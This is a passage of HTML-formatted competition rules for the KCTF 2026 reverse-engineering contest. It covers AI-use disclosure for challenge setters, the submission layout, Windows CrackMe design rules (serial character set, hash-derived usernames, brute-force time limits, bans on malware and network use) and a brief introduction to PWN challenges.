textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">破解思路；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551ek5" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">其他需要说明的问题；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b5511je" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">AI 使用说明。</span></span></p></li></ul><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b55go8" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">提交资料不完整的不予通过。</span></span></p><h3 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b55wiq" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">3)AI 使用说明</span></span></span></h3><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b55l8d" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">若防守方使用 AI 工具辅助出题、写代码、生成题面、生成 writeup、编写 exp、检查非预期或进行其他相关工作，应在提交材料中补充 AI 使用说明。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b5522pr" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">AI 使用说明建议包括：</span></span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551bhz" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">是否使用 AI 工具；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b5530l" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">使用的 AI 工具或模型名称，可概括填写；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551gk4" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">AI 参与的环节，例如题目构思、代码生成、混淆、writeup、exp、测试、非预期检查等；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b554oa" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">是否对 AI 生成内容进行了人工审核；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551rpy" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">是否包含第三方代码、开源代码或 AI 生成代码；</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55180r" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">是否完成安全性、原创性、可复现性和非预期解检查。</span></span></p></li></ul><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b55rj" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">组委会可根据审核需要，要求防守方补充提供 AI 参与环节、代码来源、人工审核记录、测试记录或其他必要说明。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b551xcs" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">未如实披露并造成题目泄露、非原创、不可复现、安全风险或比赛公平性问题的，组委会有权取消题目资格或调整成绩。</span></span></p><h3 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b551uwm" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">4)提交入口</span></span></span></h3><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b554o4" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">题目提交到看雪 CTF 提交区：</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b554o4" style="font-size: 15px;"><span textstyle="" style="letter-spacing: normal;color: rgb(0, 128, 255);font-style: italic;">KCTF2026提交区（隐藏版块）</span></span><span leaf=""><span textstyle="" style="letter-spacing: normal;color: rgb(0, 128, 255);font-style: italic;"><a href="https://bbs.kanxue.com/forum-122.htm" target="_blank">https://bbs.kanxue.com/forum-122.htm</a></span></span></p><h2 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b55sz9" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">5.题目规则</span></span></span></h2><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b55a2z" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">Android、Linux、IoT 逆向题的设计规则，请参考 Windows 逆向题规则。</span></span></p><h2 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b552521" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">5.1 关于 Windows 平台 CrackMe 设计规则</span></span></span></h2><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b55t9n" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">Windows 平台题目规则有两个方案，参赛者可以任选一种方案来出题参赛。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b5520tj" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">如果选手采用方案二参赛，必须在提交题目时明确参赛模式，否则默认以方案一模式参赛。</span></span></p><h3 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b551dej" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">提交格式</span></span></span></h3><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin: 0px 8px;padding: 0px;background: none;text-align: justify;"><code style="border-radius: 4px;font-size: 15px;margin-top: 0px;margin-bottom: 0px;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp270b55h3e"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">├─Readme.md</span><span class="code-snippet__comment">------------|题目描述文档</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">├─Writeup.md</span><span class="code-snippet__comment">-----------|writeup</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">├─attachments</span><span class="code-snippet__comment">----------|题目文件</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">├─src</span><span class="code-snippet__comment">------------------|源文件</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">└─files</span><span class="code-snippet__comment">----------------|writeup包含的图片等文件</span></span></code></pre></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><h2 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b556uz" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">5.1.1 Windows 方案一</span></span></span></h2><h3 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b55feh" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">5.1.1.1 关于注册码</span></span></span></h3><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span mpa-font-style="mp270b55k9x" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">1)CrackMe 应有且仅有唯一注册码，除给定的注册码外。如果 CrackMe 被发现多解，则根据积分规则扣分。CrackMe 的注册码字符集限定为</span></span><code><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">[&#39;!&#39;,&#39;~&#39;]</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">，即 ASCII 码范围是</span></span><code><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">[33,126]</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">，共 94 个可选字符。不允许将注册码绑定硬件 ID。</span></span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b551uih" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">2)CrackMe 界面</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b55roj" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">参赛 CrackMe 界面必须有且仅有注册码输入项，例如类似的界面，界面仅供参考，可以是控制台。</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin: 0px 8px;padding: 0px;background: none;text-align: justify;"><code style="border-radius: 4px;font-size: 15px;margin-top: 0px;margin-bottom: 0px;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp270b551s8b"><span leaf=""><span class="code-snippet__string">┌────────────────────────────────────┐</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">│</span><span class="code-snippet__string">┌──────────────┐</span><span class="code-snippet__string">│</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">│</span><span class="code-snippet__string">Serial</span><span class="code-snippet__string">└──────────────┘</span><span class="code-snippet__string">│</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">│</span><span class="code-snippet__string">KCTF</span><span class="code-snippet__number">2026</span><span class="code-snippet__string">│</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">└────────────────────────────────────┘</span></span></code></pre></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b5516i0" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">3)CrackMe 输入</span></span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551628" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">CrackMe 在没有被附加调试的情况下运行时，第一次运行时输入正确注册码，必须显示成功提示信息。若是重启验证的，在重启后必须显示。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b559ut" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">在 CrackMe 没有被改动且没有被其他程序干扰的情况下，只要输入了注册码，显示了成功信息，则认为该注册码是正确的，否则设计不合理。</span></span></p></li></ul><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b551vhh" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">4)CrackMe 输出显示</span></span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b558zl" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">注册成功，要出现成功提示信息。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551za2" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">CrackMe 里不允许出现虚假的注册成功提示信息。</span></span></p></li></ul><h3 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b5514kw" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">5.1.1.2 算法规则</span></span></span></h3><h4 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b551hzg" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">1)不鼓励穷举</span></span></span></h4><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551wc6" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">在当前技术条件下，序列号从理论上讲，是可逆或可求出来的。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55rd" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">如果破解者必须通过穷举才能得到注册码，设计文档里一定要描述清楚，并且将穷举代码和程序发给评委验证。评委验证时，在当前主流硬件配置条件下，如果穷举时间超过 30 分钟则不通过。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551eyj" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">如果在当前主流硬件配置条件下，CrackMe 的启动时间超过 10 秒也不通过，需要返回修改。</span></span></p></li></ul><h4 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b5516dv" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">2)其他限制条件</span></span></span></h4><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b5522e8" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">参赛 CrackMe 必须可以在 Windows 11/64、Windows 11/32、Windows 10/64、Windows 10/32 其中一种系统正确运行。推荐优先支持 Windows 11/64 或 Windows 10/64。原则上不再将 Windows 7 和 Windows XP 作为默认支持平台。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551swq" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">参赛 CrackMe 不可使用第三方保护工具来保护 CrackMe，例如第三方壳和 VM。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55m4h" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">参赛 CrackMe 不可使用 VM 来保护，包括第三方 VM 和自己写的 VM。（注：若要用自己实现 VM 参赛，请按 Windows 方案二规则提交题目。）</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55n4b" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">参赛 CrackMe 执行后，不能干扰破解者正常使用电脑。比如关闭显示器、禁用键盘鼠标、关机、暴力占用内存或 CPU 资源使电脑死机、破坏电脑文件等类似操作不允许，但允许采用技术手段关闭调试器，防止破解者破解。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b5513vu" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">参赛 CrackMe 设计的总体原则是绿色安全，不可含木马或 rootkit，没有任何危险或恶意程序，不能对系统进行破坏，可以正常结束，结束后不能给系统留下垃圾。比如临时文件要删除，驱动要卸载干净，不可使系统重启。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b555b3" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">参赛 CrackMe 如果有任何危险或者恶意行为，ban ID。如果有杀软或者 360 等安全软件报 CrackMe 有异常行为，评委有权要求参赛选手解释。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b5517yy" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">参赛 CrackMe 不可以联机到网络，或使用服务器注册，CrackMe 必须可以在单机运行。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551tmq" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">所提交的参赛 CrackMe 运行文件包括 .exe、.dll、.sys 等，在不打包压缩时总大小不超过 1M。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551fop" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">如果评审有怀疑，例如怀疑加壳伪装，可以要求队伍提供 CrackMe 的源码。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55sso" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">如果评审认为 CrackMe 使用了不合理的设计，或违反比赛精神，便会判定 CrackMe 无效，取消奖品和名次，并把参赛者提交的技术文件在论坛公开，让会员公开讨论。</span></span></p></li></ul><h2 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b5514ra" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">5.1.2 Windows 方案二</span></span></span></h2><h3 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b55sqp" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">5.1.2.1 关于用户和序列号</span></span></span></h3><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b555mx" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);font-weight: bold;">1)防守方发布的 CrackMe 应允许输入用户名和序列号，并提示用户名和序列号是否匹配正确。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b555mx" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">界面仅供参考，可以是控制台。</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin: 0px 8px;padding: 0px;background: none;text-align: justify;"><code style="border-radius: 4px;font-size: 15px;margin-top: 0px;margin-bottom: 0px;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp270b551kqu"><span leaf=""><span class="code-snippet__string">┌────────────────────────────────────┐</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">│</span><span class="code-snippet__string">┌──────────────┐</span><span class="code-snippet__string">│</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">│</span><span class="code-snippet__string">name</span><span class="code-snippet__string">└──────────────┘</span><span class="code-snippet__string">│</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">│</span><span class="code-snippet__string">┌──────────────┐</span><span class="code-snippet__string">│</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">│</span><span class="code-snippet__string">Serial</span><span class="code-snippet__string">└──────────────┘</span><span class="code-snippet__string">│</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">│</span><span class="code-snippet__string">KCTF</span><span class="code-snippet__number">2026</span><span class="code-snippet__string">│</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">└────────────────────────────────────┘</span></span></code></pre></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b558b4" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);font-weight: bold;">2)用户名和序列号要求</span></span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55117j" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">防守方在发布 CrackMe 时，应向大众公开一组用户名和序列号，即 “Name/Serial”。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55feg" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">其中公开的这个用户名 “Name”，必须是该 CrackMe 文件的 hash 值。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55io7" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">hash 算法指定为 SHA256，用户名为 hash 结果的前 64bit 的 16 进制大写文字。例如：</span><span textstyle="" style="letter-spacing: normal;color: rgb(63, 63, 63);">参赛 CrackMe.exe 文件的 hash 结果是50be38745d82d93f3a974701e86c1cafcbc2ec83d1f1913d216079022ba7317f</span></span><span leaf=""><br/></span><span leaf="" mpa-font-style="mp270b55yg" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">则用户名 “Name” 应为：50BE38745D82D93F</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551dwt" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">如果 CrackMe 不止一个文件，计算 hash 时应包含 CrackMe 的所有文件，第三方共享库除外。参考 hash 计算工具：</span><span textstyle="" style="letter-spacing: normal;color: rgb(63, 63, 63);"><a href="https://emn178.github.io/online-tools/sha256_checksum.html" target="_blank">https://emn178.github.io/online-tools/sha256_checksum.html</a></span></span></p></li></ul><h3 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b551zfo" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);font-weight: bold;">3)判胜条件</span></span></span></h3><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551iki" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">若攻击方找出特定用户名 “KCTF”（不含引号）的序列号，经 KCTF 系统自动确认，将认定攻击方获胜。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551g10" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">若攻击方找出特定用户名 “KCTF”（不含引号）的第二个序列号，经 KCTF 官方确认，将认定攻击方获胜，且此题多解。</span></span></p></li></ul><h3 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b551qek" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);font-weight: bold;">4)规则限制</span></span></span></h3><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551wd7" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">干净环境中，当前主流硬件配置环境下，20 秒内出提示且不能虚假提示。(2026年更新）</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551bop" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">KeyGen 算法不能基于“未在 CrackMe 中公开的秘密信息”。如果需要穷举，则穷举时间在目前主流机型中必须小于 30 分钟。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551143" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">不能依赖网络，不能依赖硬件。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551wn7" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">禁止使用第三方保护工具，禁止恶意破坏机器。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b5518a6" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">参赛 CrackMe 允许用自己未公布的壳或 VM 或其他手工处理的方法来保护程序（VM 或壳的嵌套最多 2 层），但必须将保护该 CrackMe 所使用的壳或 VM 或其他手工处理的方法与 CrackMe 一同提交，评委审核通过后方可参赛。</span></span><span leaf=""><br/></span><span leaf="" mpa-font-style="mp270b551uza" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">所提交的壳或 VM 程序和源码，或其他手工处理的方法，将在赛后向广大会员公开。凡违反该比赛规则的 CrackMe 将作废，设计该 CrackMe 的会员将取消本届比赛的参赛资格。</span></span><span leaf=""><br/></span><span leaf="" mpa-font-style="mp270b551286" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">关于 VM 定义：所有掩盖原始程序、以解释方式执行的保护方式都可统称 VM。比如 Java VM 也算 VM，其它模拟器也算 VM。赛题中，壳内壳外的所有 VM 加起来，不要超过 2 层。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55txi" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">所提交的参赛 CrackMe 运行文件包括 .exe、.dll、.sys 等，在不打包压缩时总大小不超过 10M。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551iij" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">同一用户名不应有多个序列号，否则根据积分规则扣分。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55jzp" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">禁止在 CrackMe 中为特定用户名 “KCTF” 设立独立验证路径，以绕开 hash 用户名的验证路径。</span></span></p></li><li><p style="text-align: justify;"><span mpa-font-style="mp270b5521y1" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">序列号字符集限定为</span></span><code><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">[&#39;!&#39;,&#39;~&#39;]</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">，即 ASCII 码范围是</span></span><code><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">[33,126]</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">，共 94 个可选字符。</span></span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551ni5" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">不限制使用套娃。可以使用任何数据和代码变换。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551kd6" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">不限制线索隐藏方式。可以将线索以任何形式置于 CrackMe 的任何位置。</span></span></p></li></ul><h2 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b554uf" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">5.2 关于 Android/iOS 平台 CrackMe 设计规则</span></span></span></h2><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b551hg5" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">参考 5.1 Windows 平台规则（方案一和方案二），确保 CrackMe 能在常见移动端稳定运行。</span></span></p><h2 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b55tf4" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">5.3 关于 PWN 的设计规则</span></span></span></h2><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b5513xz" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">CTF 中的 PWN 是一个关于二进制漏洞挖掘与利用的方向。通过对二进制程序进行逆向分析，挖掘程序中存在的漏洞并进行漏洞利用，最终获取目标主机的 shell 或读取 flag。</span></span></p><h2 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: justify;"><span mpa-font-style="mp270b551jg2" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">5.3.1 题目规则</span></span></span></h2><h3 style="font-weight: bold;font-size: 15px;margin: 1rem 8px;text-align: 